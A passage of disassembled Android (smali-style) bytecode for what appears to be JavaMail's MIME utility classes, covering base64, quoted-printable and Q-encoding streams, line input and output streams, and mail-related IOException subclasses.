          .catchall {:2 .. :3A} :3E
.end method

.method public declared-synchronized flush()V
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, BASE64EncoderStream->bufsize:I
00000006  if-lez                  v0, :16
:A
0000000A  invoke-direct           BASE64EncoderStream->encode()V, p0
00000010  const/4                 v0, 0x0
00000012  iput                    v0, p0, BASE64EncoderStream->bufsize:I
:16
00000016  iget-object             v0, p0, BASE64EncoderStream->out:OutputStream
0000001A  invoke-virtual          OutputStream->flush()V, v0
:20
00000020  monitor-exit            p0
00000022  return-void
:24
00000024  move-exception          v0
00000026  monitor-exit            p0
00000028  throw                   v0
          .catchall {:2 .. :20} :24
.end method

.method public declared-synchronized write(I)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, BASE64EncoderStream->buffer:[B
00000006  iget                    v1, p0, BASE64EncoderStream->bufsize:I
0000000A  add-int/lit8            v2, v1, 0x1
0000000E  iput                    v2, p0, BASE64EncoderStream->bufsize:I
00000012  int-to-byte             v2, p1
00000014  aput-byte               v2, v0, v1
00000018  iget                    v0, p0, BASE64EncoderStream->bufsize:I
0000001C  const/4                 v1, 0x3
0000001E  if-ne                   v0, v1, :2E
:22
00000022  invoke-direct           BASE64EncoderStream->encode()V, p0
00000028  const/4                 v0, 0x0
0000002A  iput                    v0, p0, BASE64EncoderStream->bufsize:I
:2E
0000002E  monitor-exit            p0
00000030  return-void
:32
00000032  move-exception          v0
00000034  monitor-exit            p0
00000036  throw                   v0
          .catchall {:2 .. :2E} :32
.end method

.method public write([B)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p1
00000004  invoke-virtual          BASE64EncoderStream->write([B, I, I)V, p0, p1, v0, v1
0000000A  return-void
.end method

.method public declared-synchronized write([B, I, I)V
          .registers 11
00000000  monitor-enter           p0
00000002  add-int                 v2, p2, p3
00000006  move                    v0, p2
:8
00000008  iget                    v1, p0, BASE64EncoderStream->bufsize:I
0000000C  if-eqz                  v1, :14
:10
00000010  if-lt                   v0, v2, :D0
:14
00000014  iget                    v1, p0, BASE64EncoderStream->bytesPerLine:I
00000018  iget                    v3, p0, BASE64EncoderStream->count:I
0000001C  sub-int/2addr           v1, v3
0000001E  div-int/lit8            v1, v1, 0x4
00000022  mul-int/lit8            v3, v1, 0x3
00000026  add-int                 v1, v0, v3
0000002A  if-ge                   v1, v2, :7E
:2E
0000002E  invoke-static           BASE64EncoderStream->encodedSize(I)I, v3
00000034  move-result             v1
00000036  iget-boolean            v4, p0, BASE64EncoderStream->noCRLF:Z
0000003A  if-nez                  v4, :5E
:3E
0000003E  iget-object             v4, p0, BASE64EncoderStream->outbuf:[B
00000042  add-int/lit8            v5, v1, 0x1
00000046  const/16                v6, 0xD
0000004A  aput-byte               v6, v4, v1
0000004E  iget-object             v4, p0, BASE64EncoderStream->outbuf:[B
00000052  add-int/lit8            v1, v5, 0x1
00000056  const/16                v6, 0xA
0000005A  aput-byte               v6, v4, v5
:5E
0000005E  iget-object             v4, p0, BASE64EncoderStream->out:OutputStream
00000062  iget-object             v5, p0, BASE64EncoderStream->outbuf:[B
00000066  invoke-static           BASE64EncoderStream->encode([B, I, I, [B)[B, p1, v0, v3, v5
0000006C  move-result-object      v5
0000006E  const/4                 v6, 0x0
00000070  invoke-virtual          OutputStream->write([B, I, I)V, v4, v5, v6, v1
00000076  add-int/2addr           v0, v3
00000078  const/4                 v1, 0x0
0000007A  iput                    v1, p0, BASE64EncoderStream->count:I
:7E
0000007E  iget                    v1, p0, BASE64EncoderStream->lineLimit:I
00000082  add-int/2addr           v1, v0
00000084  if-lt                   v1, v2, :E2
:88
00000088  add-int/lit8            v1, v0, 0x3
0000008C  if-ge                   v1, v2, :C8
:90
00000090  sub-int                 v1, v2, v0
00000094  div-int/lit8            v1, v1, 0x3
00000098  mul-int/lit8            v1, v1, 0x3
0000009C  invoke-static           BASE64EncoderStream->encodedSize(I)I, v1
000000A2  move-result             v3
000000A4  iget-object             v4, p0, BASE64EncoderStream->out:OutputStream
000000A8  iget-object             v5, p0, BASE64EncoderStream->outbuf:[B
000000AC  invoke-static           BASE64EncoderStream->encode([B, I, I, [B)[B, p1, v0, v1, v5
000000B2  move-result-object      v5
000000B4  const/4                 v6, 0x0
000000B6  invoke-virtual          OutputStream->write([B, I, I)V, v4, v5, v6, v3
000000BC  add-int/2addr           v0, v1
000000BE  iget                    v1, p0, BASE64EncoderStream->count:I
000000C2  add-int/2addr           v1, v3
000000C4  iput                    v1, p0, BASE64EncoderStream->count:I
:C8
000000C8  if-lt                   v0, v2, :104
:CC
000000CC  monitor-exit            p0
000000CE  return-void
:D0
000000D0  add-int/lit8            p2, v0, 0x1
:D4
000000D4  aget-byte               v0, p1, v0
000000D8  invoke-virtual          BASE64EncoderStream->write(I)V, p0, v0
000000DE  move                    v0, p2
000000E0  goto                    :8
:E2
000000E2  iget-object             v1, p0, BASE64EncoderStream->out:OutputStream
000000E6  iget                    v3, p0, BASE64EncoderStream->lineLimit:I
000000EA  iget-object             v4, p0, BASE64EncoderStream->outbuf:[B
000000EE  invoke-static           BASE64EncoderStream->encode([B, I, I, [B)[B, p1, v0, v3, v4
000000F4  move-result-object      v3
000000F6  invoke-virtual          OutputStream->write([B)V, v1, v3
000000FC  iget                    v1, p0, BASE64EncoderStream->lineLimit:I
00000100  add-int/2addr           v0, v1
00000102  goto                    :7E
:104
00000104  aget-byte               v1, p1, v0
00000108  invoke-virtual          BASE64EncoderStream->write(I)V, p0, v1
:10E
0000010E  add-int/lit8            v0, v0, 0x1
00000112  goto                    :C8
:114
00000114  move-exception          v0
00000116  monitor-exit            p0
00000118  throw                   v0
          .catchall {:8 .. :C8} :114
          .catchall {:D4 .. :10E} :114
.end method

#--------------------------------------------------------------------------------
.class public BEncoderStream
.super BASE64EncoderStream
.source ""

.method public constructor <init>(OutputStream)V
          .registers 3
00000000  const                   v0, 0x7FFFFFFF
00000006  invoke-direct           BASE64EncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000C  return-void
.end method

.method public static encodedLength([B)I
          .registers 2
00000000  array-length            v0, p0
00000002  add-int/lit8            v0, v0, 0x2
00000006  div-int/lit8            v0, v0, 0x3
0000000A  mul-int/lit8            v0, v0, 0x4
0000000E  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public FolderClosedIOException
.super IOException
.source ""

.field private static final serialVersionUID:J = 0x3B699A4DF297B817L
.field private transient varargs folder:Folder

.method public constructor <init>(Folder)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FolderClosedIOException-><init>(Folder, String)V, p0, p1, v0
00000008  return-void
.end method

.method public constructor <init>(Folder, String)V
          .registers 3
00000000  invoke-direct           IOException-><init>(String)V, p0, p2
00000006  iput-object             p1, p0, FolderClosedIOException->folder:Folder
0000000A  return-void
.end method

.method public getFolder()Folder
          .registers 2
00000000  iget-object             v0, p0, FolderClosedIOException->folder:Folder
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public LineInputStream
.super FilterInputStream
.source ""

.field private lineBuffer:[C

.method public constructor <init>(InputStream)V
          .registers 3
00000000  invoke-direct           FilterInputStream-><init>(InputStream)V, p0, p1
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, LineInputStream->lineBuffer:[C
0000000C  return-void
.end method

.method public readLine()String
          .registers 11
00000000  const/16                v9, 0xD
00000004  const/16                v8, 0xA
00000008  const/4                 v7, 0xFFFFFFFFFFFFFFFF
0000000A  const/4                 v2, 0x0
0000000C  iget-object             v5, p0, LineInputStream->in:InputStream
00000010  iget-object             v0, p0, LineInputStream->lineBuffer:[C
00000014  if-nez                  v0, :24
:18
00000018  const/16                v0, 0x80
0000001C  new-array               v0, v0, [C
00000020  iput-object             v0, p0, LineInputStream->lineBuffer:[C
:24
00000024  array-length            v1, v0
00000026  move-object             v3, v0
00000028  move                    v0, v1
0000002A  move                    v1, v2
:2C
0000002C  invoke-virtual          InputStream->read()I, v5
00000032  move-result             v6
00000034  if-ne                   v6, v7, :44
:38
00000038  if-ne                   v6, v7, :C0
:3C
0000003C  if-nez                  v1, :C0
:40
00000040  const/4                 v0, 0x0
:42
00000042  return-object           v0
:44
00000044  if-eq                   v6, v8, :38
:48
00000048  if-ne                   v6, v9, :88
:4C
0000004C  invoke-virtual          InputStream->read()I, v5
00000052  move-result             v0
00000054  if-ne                   v0, v9, :D4
:58
00000058  invoke-virtual          InputStream->read()I, v5
0000005E  move-result             v0
00000060  move                    v4, v0
:62
00000062  if-eq                   v4, v8, :38
:66
00000066  instance-of             v0, v5, PushbackInputStream
0000006A  if-nez                  v0, :D0
:6E
0000006E  new-instance            v0, PushbackInputStream
00000072  invoke-direct           PushbackInputStream-><init>(InputStream)V, v0, v5
00000078  iput-object             v0, p0, LineInputStream->in:InputStream
:7C
0000007C  check-cast              v0, PushbackInputStream
00000080  invoke-virtual          PushbackInputStream->unread(I)V, v0, v4
00000086  goto                    :38
:88
00000088  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
0000008C  if-gez                  v0, :CA
:90
00000090  add-int/lit16           v0, v1, 0x80
00000094  new-array               v4, v0, [C
00000098  array-length            v0, v4
0000009A  sub-int/2addr           v0, v1
0000009C  add-int/lit8            v3, v0, 0xFFFFFFFFFFFFFFFF
000000A0  iget-object             v0, p0, LineInputStream->lineBuffer:[C
000000A4  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v0, v2, v4, v2, v1
000000AA  iput-object             v4, p0, LineInputStream->lineBuffer:[C
:AE
000000AE  add-int/lit8            v0, v1, 0x1
000000B2  int-to-char             v6, v6
000000B4  aput-char               v6, v4, v1
000000B8  move                    v1, v0
000000BA  move                    v0, v3
000000BC  move-object             v3, v4
000000BE  goto                    :2C
:C0
000000C0  invoke-static           String->copyValueOf([C, I, I)String, v3, v2, v1
000000C6  move-result-object      v0
000000C8  goto                    :42
:CA
000000CA  move-object             v4, v3
000000CC  move                    v3, v0
000000CE  goto                    :AE
:D0
000000D0  move-object             v0, v5
000000D2  goto                    :7C
:D4
000000D4  move                    v4, v0
000000D6  goto                    :62
.end method

#--------------------------------------------------------------------------------
.class public LineOutputStream
.super FilterOutputStream
.source ""

.field private static newline:[B

.method static constructor <clinit>()V
          .registers 3
00000000  const/4                 v0, 0x2
00000002  new-array               v0, v0, [B
00000006  sput-object             v0, LineOutputStream->newline:[B
0000000A  sget-object             v0, LineOutputStream->newline:[B
0000000E  const/4                 v1, 0x0
00000010  const/16                v2, 0xD
00000014  aput-byte               v2, v0, v1
00000018  sget-object             v0, LineOutputStream->newline:[B
0000001C  const/4                 v1, 0x1
0000001E  const/16                v2, 0xA
00000022  aput-byte               v2, v0, v1
00000026  return-void
.end method

.method public constructor <init>(OutputStream)V
          .registers 2
00000000  invoke-direct           FilterOutputStream-><init>(OutputStream)V, p0, p1
00000006  return-void
.end method

.method public writeln()V
          .registers 4
00000000  iget-object             v0, p0, LineOutputStream->out:OutputStream
00000004  sget-object             v1, LineOutputStream->newline:[B
00000008  invoke-virtual          OutputStream->write([B)V, v0, v1
:E
0000000E  return-void
:10
00000010  move-exception          v0
00000012  new-instance            v1, MessagingException
00000016  const-string            v2, "IOException"
0000001A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000020  throw                   v1
          .catch Exception {:0 .. :E} :10
.end method

.method public writeln(String)V
          .registers 5
00000000  invoke-static           ASCIIUtility->getBytes(String)[B, p1
00000006  move-result-object      v0
00000008  iget-object             v1, p0, LineOutputStream->out:OutputStream
0000000C  invoke-virtual          OutputStream->write([B)V, v1, v0
00000012  iget-object             v0, p0, LineOutputStream->out:OutputStream
00000016  sget-object             v1, LineOutputStream->newline:[B
0000001A  invoke-virtual          OutputStream->write([B)V, v0, v1
:20
00000020  return-void
:22
00000022  move-exception          v0
00000024  new-instance            v1, MessagingException
00000028  const-string            v2, "IOException"
0000002C  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000032  throw                   v1
          .catch Exception {:0 .. :20} :22
.end method

#--------------------------------------------------------------------------------
.class public MessageRemovedIOException
.super IOException
.source ""

.field private static final serialVersionUID:J = 0x3B6746FDC4D08728L

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           IOException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           IOException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public QPDecoderStream
.super FilterInputStream
.source ""

.field protected ba:[B
.field protected spaces:I

.method public constructor <init>(InputStream)V
          .registers 4
00000000  const/4                 v1, 0x2
00000002  new-instance            v0, PushbackInputStream
00000006  invoke-direct           PushbackInputStream-><init>(InputStream, I)V, v0, p1, v1
0000000C  invoke-direct           FilterInputStream-><init>(InputStream)V, p0, v0
00000012  new-array               v0, v1, [B
00000016  iput-object             v0, p0, QPDecoderStream->ba:[B
0000001A  const/4                 v0, 0x0
0000001C  iput                    v0, p0, QPDecoderStream->spaces:I
00000020  return-void
.end method

.method public available()I
          .registers 2
00000000  iget-object             v0, p0, QPDecoderStream->in:InputStream
00000004  invoke-virtual          InputStream->available()I, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public markSupported()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public read()I
          .registers 7
00000000  const/16                v5, 0xD
00000004  const/16                v4, 0xA
00000008  const/4                 v3, 0x0
0000000A  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000C  const/16                v1, 0x20
00000010  iget                    v2, p0, QPDecoderStream->spaces:I
00000014  if-lez                  v2, :26
:18
00000018  iget                    v0, p0, QPDecoderStream->spaces:I
0000001C  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000020  iput                    v0, p0, QPDecoderStream->spaces:I
:24
00000024  return                  v1
:26
00000026  iget-object             v2, p0, QPDecoderStream->in:InputStream
0000002A  invoke-virtual          InputStream->read()I, v2
00000030  move-result             v2
00000032  if-ne                   v2, v1, :7C
:36
00000036  iget-object             v2, p0, QPDecoderStream->in:InputStream
0000003A  invoke-virtual          InputStream->read()I, v2
00000040  move-result             v2
00000042  if-eq                   v2, v1, :5C
:46
00000046  if-eq                   v2, v5, :52
:4A
0000004A  if-eq                   v2, v4, :52
:4E
0000004E  if-ne                   v2, v0, :6A
:52
00000052  iput                    v3, p0, QPDecoderStream->spaces:I
00000056  move                    v0, v2
:58
00000058  move                    v1, v0
0000005A  goto                    :24
:5C
0000005C  iget                    v2, p0, QPDecoderStream->spaces:I
00000060  add-int/lit8            v2, v2, 0x1
00000064  iput                    v2, p0, QPDecoderStream->spaces:I
00000068  goto                    :36
:6A
0000006A  iget-object             v0, p0, QPDecoderStream->in:InputStream
0000006E  check-cast              v0, PushbackInputStream
00000072  invoke-virtual          PushbackInputStream->unread(I)V, v0, v2
00000078  move                    v0, v1
0000007A  goto                    :58
:7C
0000007C  const/16                v1, 0x3D
00000080  if-ne                   v2, v1, :122
:84
00000084  iget-object             v1, p0, QPDecoderStream->in:InputStream
00000088  invoke-virtual          InputStream->read()I, v1
0000008E  move-result             v1
00000090  if-ne                   v1, v4, :9E
:94
00000094  invoke-virtual          QPDecoderStream->read()I, p0
0000009A  move-result             v1
0000009C  goto                    :24
:9E
0000009E  if-ne                   v1, v5, :CA
:A2
000000A2  iget-object             v0, p0, QPDecoderStream->in:InputStream
000000A6  invoke-virtual          InputStream->read()I, v0
000000AC  move-result             v1
000000AE  if-eq                   v1, v4, :C0
:B2
000000B2  iget-object             v0, p0, QPDecoderStream->in:InputStream
000000B6  check-cast              v0, PushbackInputStream
000000BA  invoke-virtual          PushbackInputStream->unread(I)V, v0, v1
:C0
000000C0  invoke-virtual          QPDecoderStream->read()I, p0
000000C6  move-result             v1
000000C8  goto                    :24
:CA
000000CA  if-ne                   v1, v0, :D2
:CE
000000CE  move                    v1, v0
000000D0  goto                    :24
:D2
000000D2  iget-object             v0, p0, QPDecoderStream->ba:[B
000000D6  int-to-byte             v1, v1
000000D8  aput-byte               v1, v0, v3
000000DC  iget-object             v0, p0, QPDecoderStream->ba:[B
000000E0  const/4                 v1, 0x1
000000E2  iget-object             v3, p0, QPDecoderStream->in:InputStream
000000E6  invoke-virtual          InputStream->read()I, v3
000000EC  move-result             v3
000000EE  int-to-byte             v3, v3
000000F0  aput-byte               v3, v0, v1
:F4
000000F4  iget-object             v0, p0, QPDecoderStream->ba:[B
000000F8  const/4                 v1, 0x0
000000FA  const/4                 v3, 0x2
000000FC  const/16                v4, 0x10
00000100  invoke-static           ASCIIUtility->parseInt([B, I, I, I)I, v0, v1, v3, v4
:106
00000106  move-result             v1
00000108  goto                    :24
:10A
0000010A  move-exception          v0
0000010C  iget-object             v0, p0, QPDecoderStream->in:InputStream
00000110  check-cast              v0, PushbackInputStream
00000114  iget-object             v1, p0, QPDecoderStream->ba:[B
00000118  invoke-virtual          PushbackInputStream->unread([B)V, v0, v1
0000011E  move                    v1, v2
00000120  goto                    :24
:122
00000122  move                    v1, v2
00000124  goto                    :24
          .catch NumberFormatException {:F4 .. :106} :10A
.end method

.method public read([B, I, I)I
          .registers 8
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  const/4                 v1, 0x0
:4
00000004  if-lt                   v1, p3, :C
:8
00000008  move                    v0, v1
:A
0000000A  return                  v0
:C
0000000C  invoke-virtual          QPDecoderStream->read()I, p0
00000012  move-result             v2
00000014  if-ne                   v2, v0, :1E
:18
00000018  if-nez                  v1, :8
:1C
0000001C  goto                    :A
:1E
0000001E  add-int                 v3, p2, v1
00000022  int-to-byte             v2, v2
00000024  aput-byte               v2, p1, v3
00000028  add-int/lit8            v1, v1, 0x1
0000002C  goto                    :4
.end method

#--------------------------------------------------------------------------------
.class public QDecoderStream
.super QPDecoderStream
.source ""

.method public constructor <init>(InputStream)V
          .registers 2
00000000  invoke-direct           QPDecoderStream-><init>(InputStream)V, p0, p1
00000006  return-void
.end method

.method public read()I
          .registers 5
00000000  const/4                 v2, 0x0
00000002  iget-object             v0, p0, QDecoderStream->in:InputStream
00000006  invoke-virtual          InputStream->read()I, v0
0000000C  move-result             v0
0000000E  const/16                v1, 0x5F
00000012  if-ne                   v0, v1, :1C
:16
00000016  const/16                v0, 0x20
:1A
0000001A  return                  v0
:1C
0000001C  const/16                v1, 0x3D
00000020  if-ne                   v0, v1, :1A
:24
00000024  iget-object             v0, p0, QDecoderStream->ba:[B
00000028  iget-object             v1, p0, QDecoderStream->in:InputStream
0000002C  invoke-virtual          InputStream->read()I, v1
00000032  move-result             v1
00000034  int-to-byte             v1, v1
00000036  aput-byte               v1, v0, v2
0000003A  iget-object             v0, p0, QDecoderStream->ba:[B
0000003E  const/4                 v1, 0x1
00000040  iget-object             v2, p0, QDecoderStream->in:InputStream
00000044  invoke-virtual          InputStream->read()I, v2
0000004A  move-result             v2
0000004C  int-to-byte             v2, v2
0000004E  aput-byte               v2, v0, v1
:52
00000052  iget-object             v0, p0, QDecoderStream->ba:[B
00000056  const/4                 v1, 0x0
00000058  const/4                 v2, 0x2
0000005A  const/16                v3, 0x10
0000005E  invoke-static           ASCIIUtility->parseInt([B, I, I, I)I, v0, v1, v2, v3
:64
00000064  move-result             v0
00000066  goto                    :1A
:68
00000068  move-exception          v0
0000006A  new-instance            v1, IOException
0000006E  new-instance            v2, StringBuilder
00000072  const-string            v3, "Error in QP stream "
00000076  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000007C  invoke-virtual          NumberFormatException->getMessage()String, v0
00000082  move-result-object      v0
00000084  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
0000008A  move-result-object      v0
0000008C  invoke-virtual          StringBuilder->toString()String, v0
00000092  move-result-object      v0
00000094  invoke-direct           IOException-><init>(String)V, v1, v0
0000009A  throw                   v1
          .catch NumberFormatException {:52 .. :64} :68
.end method

#--------------------------------------------------------------------------------
.class public QPEncoderStream
.super FilterOutputStream
.source ""

.field private static final hex:[C
.field private bytesPerLine:I
.field private count:I
.field private gotCR:Z
.field private gotSpace:Z

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0x10
00000004  new-array               v0, v0, [C
00000008  fill-array-data         v0, :14
0000000E  sput-object             v0, QPEncoderStream->hex:[C
00000012  return-void
00000014  .array-data 2 x 0x10
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
          .end array-data
.end method

.method public constructor <init>(OutputStream)V
          .registers 3
00000000  const/16                v0, 0x4C
00000004  invoke-direct           QPEncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000A  return-void
.end method

.method public constructor <init>(OutputStream, I)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008  iput                    v0, p0, QPEncoderStream->count:I
0000000C  iput-boolean            v0, p0, QPEncoderStream->gotSpace:Z
00000010  iput-boolean            v0, p0, QPEncoderStream->gotCR:Z
00000014  add-int/lit8            v0, p2, 0xFFFFFFFFFFFFFFFF
00000018  iput                    v0, p0, QPEncoderStream->bytesPerLine:I
0000001C  return-void
.end method

.method private outputCRLF()V
          .registers 3
00000000  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000004  const/16                v1, 0xD
00000008  invoke-virtual          OutputStream->write(I)V, v0, v1
0000000E  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000012  const/16                v1, 0xA
00000016  invoke-virtual          OutputStream->write(I)V, v0, v1
0000001C  const/4                 v0, 0x0
0000001E  iput                    v0, p0, QPEncoderStream->count:I
00000022  return-void
.end method

.method public close()V
          .registers 2
00000000  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000004  invoke-virtual          OutputStream->close()V, v0
0000000A  return-void
.end method

.method public flush()V
          .registers 2
00000000  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000004  invoke-virtual          OutputStream->flush()V, v0
0000000A  return-void
.end method

.method protected output(I, Z)V
          .registers 8
00000000  const/16                v4, 0xD
00000004  const/16                v3, 0xA
00000008  const/16                v2, 0x3D
0000000C  if-eqz                  p2, :80
:10
00000010  iget                    v0, p0, QPEncoderStream->count:I
00000014  add-int/lit8            v0, v0, 0x3
00000018  iput                    v0, p0, QPEncoderStream->count:I
0000001C  iget                    v1, p0, QPEncoderStream->bytesPerLine:I
00000020  if-le                   v0, v1, :48
:24
00000024  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000028  invoke-virtual          OutputStream->write(I)V, v0, v2
0000002E  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000032  invoke-virtual          OutputStream->write(I)V, v0, v4
00000038  iget-object             v0, p0, QPEncoderStream->out:OutputStream
0000003C  invoke-virtual          OutputStream->write(I)V, v0, v3
00000042  const/4                 v0, 0x3
00000044  iput                    v0, p0, QPEncoderStream->count:I
:48
00000048  iget-object             v0, p0, QPEncoderStream->out:OutputStream
0000004C  invoke-virtual          OutputStream->write(I)V, v0, v2
00000052  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000056  sget-object             v1, QPEncoderStream->hex:[C
0000005A  shr-int/lit8            v2, p1, 0x4
0000005E  aget-char               v1, v1, v2
00000062  invoke-virtual          OutputStream->write(I)V, v0, v1
00000068  iget-object             v0, p0, QPEncoderStream->out:OutputStream
0000006C  sget-object             v1, QPEncoderStream->hex:[C
00000070  and-int/lit8            v2, p1, 0xF
00000074  aget-char               v1, v1, v2
00000078  invoke-virtual          OutputStream->write(I)V, v0, v1
:7E
0000007E  return-void
:80
00000080  iget                    v0, p0, QPEncoderStream->count:I
00000084  add-int/lit8            v0, v0, 0x1
00000088  iput                    v0, p0, QPEncoderStream->count:I
0000008C  iget                    v1, p0, QPEncoderStream->bytesPerLine:I
00000090  if-le                   v0, v1, :B8
:94
00000094  iget-object             v0, p0, QPEncoderStream->out:OutputStream
00000098  invoke-virtual          OutputStream->write(I)V, v0, v2
0000009E  iget-object             v0, p0, QPEncoderStream->out:OutputStream
000000A2  invoke-virtual          OutputStream->write(I)V, v0, v4
000000A8  iget-object             v0, p0, QPEncoderStream->out:OutputStream
000000AC  invoke-virtual          OutputStream->write(I)V, v0, v3
000000B2  const/4                 v0, 0x1
000000B4  iput                    v0, p0, QPEncoderStream->count:I
:B8
000000B8  iget-object             v0, p0, QPEncoderStream->out:OutputStream
000000BC  invoke-virtual          OutputStream->write(I)V, v0, p1
000000C2  goto                    :7E
.end method

.method public write(I)V
          .registers 9
00000000  const/16                v6, 0xD
00000004  const/16                v5, 0xA
00000008  const/16                v4, 0x20
0000000C  const/4                 v3, 0x1
0000000E  const/4                 v2, 0x0
00000010  and-int/lit16           v0, p1, 0xFF
00000014  iget-boolean            v1, p0, QPEncoderStream->gotSpace:Z
00000018  if-eqz                  v1, :2E
:1C
0000001C  if-eq                   v0, v6, :24
:20
00000020  if-ne                   v0, v5, :3E
:24
00000024  invoke-virtual          QPEncoderStream->output(I, Z)V, p0, v4, v3
:2A
0000002A  iput-boolean            v2, p0, QPEncoderStream->gotSpace:Z
:2E
0000002E  if-ne                   v0, v6, :46
:32
00000032  iput-boolean            v3, p0, QPEncoderStream->gotCR:Z
00000036  invoke-direct           QPEncoderStream->outputCRLF()V, p0
:3C
0000003C  return-void
:3E
0000003E  invoke-virtual          QPEncoderStream->output(I, Z)V, p0, v4, v2
00000044  goto                    :2A
:46
00000046  if-ne                   v0, v5, :60
:4A
0000004A  iget-boolean            v0, p0, QPEncoderStream->gotCR:Z
0000004E  if-eqz                  v0, :58
:52
00000052  iput-boolean            v2, p0, QPEncoderStream->gotCR:Z
00000056  goto                    :3C
:58
00000058  invoke-direct           QPEncoderStream->outputCRLF()V, p0
0000005E  goto                    :52
:60
00000060  if-ne                   v0, v4, :6A
:64
00000064  iput-boolean            v3, p0, QPEncoderStream->gotSpace:Z
00000068  goto                    :52
:6A
0000006A  if-lt                   v0, v4, :7E
:6E
0000006E  const/16                v1, 0x7F
00000072  if-ge                   v0, v1, :7E
:76
00000076  const/16                v1, 0x3D
0000007A  if-ne                   v0, v1, :86
:7E
0000007E  invoke-virtual          QPEncoderStream->output(I, Z)V, p0, v0, v3
00000084  goto                    :52
:86
00000086  invoke-virtual          QPEncoderStream->output(I, Z)V, p0, v0, v2
0000008C  goto                    :52
.end method

.method public write([B)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p1
00000004  invoke-virtual          QPEncoderStream->write([B, I, I)V, p0, p1, v0, v1
0000000A  return-void
.end method

.method public write([B, I, I)V
          .registers 6
00000000  const/4                 v0, 0x0
:2
00000002  if-lt                   v0, p3, :8
:6
00000006  return-void
:8
00000008  add-int                 v1, p2, v0
0000000C  aget-byte               v1, p1, v1
00000010  invoke-virtual          QPEncoderStream->write(I)V, p0, v1
00000016  add-int/lit8            v0, v0, 0x1
0000001A  goto                    :2
.end method

#--------------------------------------------------------------------------------
.class public QEncoderStream
.super QPEncoderStream
.source ""

.field private static TEXT_SPECIALS:String
.field private static WORD_SPECIALS:String
.field private specials:String

.method static constructor <clinit>()V
          .registers 1
00000000  const-string            v0, "=_?\"#$%&\'(),.:;<>@[\\]^`{|}~"
00000004  sput-object             v0, QEncoderStream->WORD_SPECIALS:String
00000008  const-string            v0, "=_?"
0000000C  sput-object             v0, QEncoderStream->TEXT_SPECIALS:String
00000010  return-void
.end method

.method public constructor <init>(OutputStream, Z)V
          .registers 4
00000000  const                   v0, 0x7FFFFFFF
00000006  invoke-direct           QPEncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000C  if-eqz                  p2, :1A
:10
00000010  sget-object             v0, QEncoderStream->WORD_SPECIALS:String
:14
00000014  iput-object             v0, p0, QEncoderStream->specials:String
00000018  return-void
:1A
0000001A  sget-object             v0, QEncoderStream->TEXT_SPECIALS:String
0000001E  goto                    :14
.end method

.method public static encodedLength([B, Z)I
          .registers 7
00000000  const/4                 v1, 0x0
00000002  if-eqz                  p1, :14
:6
00000006  sget-object             v0, QEncoderStream->WORD_SPECIALS:String
:A
0000000A  move                    v2, v1
:C
0000000C  array-length            v3, p0
0000000E  if-lt                   v1, v3, :1A
:12
00000012  return                  v2
:14
00000014  sget-object             v0, QEncoderStream->TEXT_SPECIALS:String
00000018  goto                    :A
:1A
0000001A  aget-byte               v3, p0, v1
0000001E  and-int/lit16           v3, v3, 0xFF
00000022  const/16                v4, 0x20
00000026  if-lt                   v3, v4, :3E
:2A
0000002A  const/16                v4, 0x7F
0000002E  if-ge                   v3, v4, :3E
:32
00000032  invoke-virtual          String->indexOf(I)I, v0, v3
00000038  move-result             v3
0000003A  if-ltz                  v3, :48
:3E
0000003E  add-int/lit8            v2, v2, 0x3
:42
00000042  add-int/lit8            v1, v1, 0x1
00000046  goto                    :C
:48
00000048  add-int/lit8            v2, v2, 0x1
0000004C  goto                    :42
.end method

.method public write(I)V
          .registers 5
00000000  const/16                v1, 0x20
00000004  const/4                 v2, 0x0
00000006  and-int/lit16           v0, p1, 0xFF
0000000A  if-ne                   v0, v1, :1A
:E
0000000E  const/16                v0, 0x5F
00000012  invoke-virtual          QEncoderStream->output(I, Z)V, p0, v0, v2
:18
00000018  return-void
:1A
0000001A  if-lt                   v0, v1, :36
:1E
0000001E  const/16                v1, 0x7F
00000022  if-ge                   v0, v1, :36
:26
00000026  iget-object             v1, p0, QEncoderStream->specials:String
0000002A  invoke-virtual          String->indexOf(I)I, v1, v0
00000030  move-result             v1
00000032  if-ltz                  v1, :40
:36
00000036  const/4                 v1, 0x1
00000038  invoke-virtual          QEncoderStream->output(I, Z)V, p0, v0, v1
0000003E  goto                    :18
:40
